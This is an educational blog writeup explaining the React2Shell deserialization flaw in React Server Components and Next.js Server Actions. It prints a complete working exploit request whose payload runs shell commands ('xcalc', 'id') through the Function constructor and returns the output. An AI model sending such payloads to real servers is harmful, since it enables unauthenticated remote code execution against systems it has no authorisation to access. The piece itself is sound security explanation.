redtrib3's writeups

React2shell for dummies

There has been a lot off fuzz lately about this new vulnerability in React and NextJS. All of this seems to me quiet confusing at first but it can easily be made sense of if you understand the "what, why and how". In this writeup, I will try to explain the "React2Shell" Vulnerability in detailed but also trying to keep it layman.

In this blog-post, I will be explaining it in context of the vulnerability in NextJS as that seems to be more widely exploited and talked about.

The Introduction


The react2shell vulnerability was found by the researcher Lachlan Davidson and is rated 10.0 (Critical) with a CVE ID of CVE-2025-55182.

It allows an attacker to remotely execute arbitary code Unauthenticated. This vulnerability is introduced by a flaw in how React decodes payloads sent to React Server Function endpoints. The vulnerability is present in versions React versions 19.0, 19.1.0 and 19.1.1.

The vulnerability lies in the React Flight protocol, which is used to encode inputs and outputs for React Server Functions and Server Components (RSC).

React Flight Protocol


React Flight is the protocol that allows to transmit this data back and forth. It’s very powerful and complete. Imagine if JSON were able to represent data that’s not yet ready, like a π™Ώπš›πš˜πš–πš’πšœπšŽ, so that your UI can render as fast as possible while some backend or database hasn’t responded yet.

What is React Server Component (RSC)

React Server Components (RSC) is a feature introduced in React 19 that allows components to be rendered on the server rather than the client’s browser. This can be quiet confusing if you are not used to React, This is explained well and detailed in this blog post By Joshua Comeau. I recommend giving it a read.

In short ,

React Server Components is the name for a brand-new paradigm in React. In this new world, we can create components that run exclusively on the server. This allows us to do things like write database queries right inside our React components!

What is this bug about?


React Server Components (RSC) use a custom serialization format to send data from server to client.

When you submit a form in Next.js with Server Actions, the client serializes the data and sends it to the server, where React deserializes it. The vulnerability exploits this deserialization process. This is basically a deserialization vulnerability.

Wait, What the hell is "Server Action"?

A Server Action (AKA Server Functions in nextjs) is an asynchronous functions that run on the server and can be called directly from your client-side React components

Thanks to Server Actions, developers are able to execute server-side code on user interaction, without having to create an API endpoint themselves.

Server actions are called using POST requests with the Next-Action header containing the ID of the action. The endpoint is actually the page where the action is invoked.

For example, Here we are defining a Server Action method that simply prints a text into the console on trigger. ("use server" directive makes every function in the page a server action)

// app/actions.ts
"use server";

export async function test12() {
  console.log(`Server action triggered.`);
}

Now, when you call a Server Action from a client component, it’s not just a regular function call. Next.js does some stuff behind the scenes.

Here’s the breakdown:

In short, NextJS serializes data to server functions.

How does React Server Components (RSC) serialize stuff?

React Server Components(RSC) use a special serialization format with prefixes:

You will understand how this works as you read along.

What introduces the vulnerability

The piece of code that introduces the vulnerability is right here, the requireModule method in react-server-dom-webpack package.

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}

Imagine you have a toolbox (the moduleExports) and you're told "give me tool number 5" (metadata[2]). You'd expect to only be able to get tools that are actually in the toolbox, right? But surprisingly or not, Javascript doesn't work that way.

Prototype chains in Javascript

What Javascript does:

When you write moduleExports[metadata[2]], Javascript says:

  1. "Let me look in the toolbox for this item"
  2. "Not there? Let me check the toolbox's template (prototype)"
  3. "Not there? Let me check the template's template"
  4. "Not there? Let me keep going up the chain..."

This is called the prototype chain, and it means you can access things that were never actually put in the toolbox. You can learn more about this here.

Here is an example summarising that:

const moduleExports = function sayHello() {
  return "Hello!";
};

// The module ONLY exports sayHello
// But look what we can access:

console.log(moduleExports.constructor);  // Function constructor

// where did 'constructor' come from even if its not in our module?

Every JavaScript function automatically has a hidden property called constructor that points to the Function constructor. And Function is basically the "code executor" of Javascript, It's pretty much like eval but runs it in global scope.

Putting it together: The attack

function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  // moduleExports is just a normal function the module exported
  
  return moduleExports[metadata[2]];  
  // The attacker controls metadata[2]
}

Now what the attacker does:

  1. They set metadata[2] to "constructor"
  2. The code runs: moduleExports["constructor"]
  3. JavaScript climbs the prototype chain and finds Function.constructor
  4. The attacker now has access to Function - they can run any code.

The Exploitation and how react reacts

To explain the exploitation, you have to carefully take a look at this raw request exploiting the vulnerability:

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

Let me explain what each of it means and the "why".

Next-Action Header: As explained in the Server Actions sections, a Server Action is sent with a Next-Action HTTP header with a custom ID, here the header Next-Action: x triggers React’s "Server Action" processing.

Form-data 0: This is the main part of the exploit:

{
  // PROTOTYPE POLLUTION PART:
  "then": "$1:__proto__:then", // This resolves to Chunk.prototype.then
  
  //MAKE IT LOOK LIKE A RESOLVED PROMISE
  "status": "resolved_model", // tells react "i'm resolved".
  "reason": -1,               // placeholder (to bypass check)
  "value": "{\"then\":\"$B1337\"}", // contains another then reference
  
  // THE PAYLOAD
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",  //THE MALICIOUS CODE
    "_chunks": "$Q2", // Reference to chunk storage
    "_formData": {
      "get": "$1:constructor:constructor"  // Path to Function Constructor
    }
  }
}

Now: what is this resolved_model ?

While RFlight is intended to transport β€œuser objects”, Lachlan found a way to confuse React. He’s essentially expressing β€œinternal state”, an object that’s supposed to be private and contain React’s internal book keeping. Anytime React has to represent an "in-flight" object, it uses an internal data structure that keeps track of its status. πš›πšŽπšœπš˜πš•πšŸπšŽπš_πš–πš˜πšπšŽπš• means its πšŸπšŠπš•πšžπšŽ is ready to be used.

Form-data 1:

The value of Form data 1 is $@0. This is a reference to form data 0. This piece of react code should explain how it basically work:

function parseModelString(
 response: Response,
  obj: Object,
  key: string,
  value: string,
  reference: void | string,
): any {

// here value is `$@0`
if (value[0] === '$') {             // yes it is in our case 
    switch (value[1]) {             // that is '@' in our case
      case '$': {
        // This was an escaped string value.
        return value.slice(1);
      }
      case '@': {
        // Promise
        const id = parseInt(value.slice(2), 16);  //that is 0. 
        const chunk = getChunk(response, id);
        return chunk;
      }
}

formdata 2: An empty array, completing the required structure.

Here is the whole flow of the exploit:

HTTP Request
     ↓
Field 0: {malicious payload}
Field 1: "$@0" ──────┐
     ↓               β”‚
parseModelString     β”‚
     ↓               β”‚
"$@0" detected       β”‚
     ↓               β”‚
getChunk(0) β†β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     ↓
Returns malicious object as Chunk
     ↓
Resolve "then": "$1:__proto__:then"
     ↓
     β”œβ”€> Get chunk 1
     β”œβ”€> Access __proto__ β†’ Object.prototype
     └─> Set .then β†’ Chunk.prototype.then
     ↓
 PROTOTYPE POLLUTION COMPLETE
     ↓
React sees object has .then
     ↓
Calls object.then(resolve, reject)
     ↓
Inside Chunk.prototype.then():
     β”œβ”€> this = our malicious object
     β”œβ”€> this.status = "resolved_model"
     └─> Calls initializeModelChunk(this)
     ↓
initializeModelChunk():
     β”œβ”€> Accesses chunk._response
     β”œβ”€> Deserializes "$B1337" Blob
     └─> Calls response._formData.get(response._prefix)
     ↓
formData.get resolved from "$1:constructor:constructor":
     β”œβ”€> chunk 1 (our object)
     β”œβ”€> .constructor β†’ Object
     β”œβ”€> .constructor β†’ Function
     └─> formData.get = Function
     ↓
Function(response._prefix) called:
     β”œβ”€> _prefix = "var res=process.mainModule..."
     └─> Creates executable function
     ↓
 CODE EXECUTION
     └─> command runs
     ↓
Error thrown with command output in digest
     ↓
Attacker receives output!

Is This Exploited in the Real World, if How?


With the disclosure of a bug with critical rating of 10.0 and has a huge impact, it is expected to be exploited in the wild as many versions of Public PoCs are around.

Here are some of the known exploitation by threat actors:

Google's threat hunters have been tracking multiple exploitation campaigns:

#blogpost #react2shell #threat-intelligence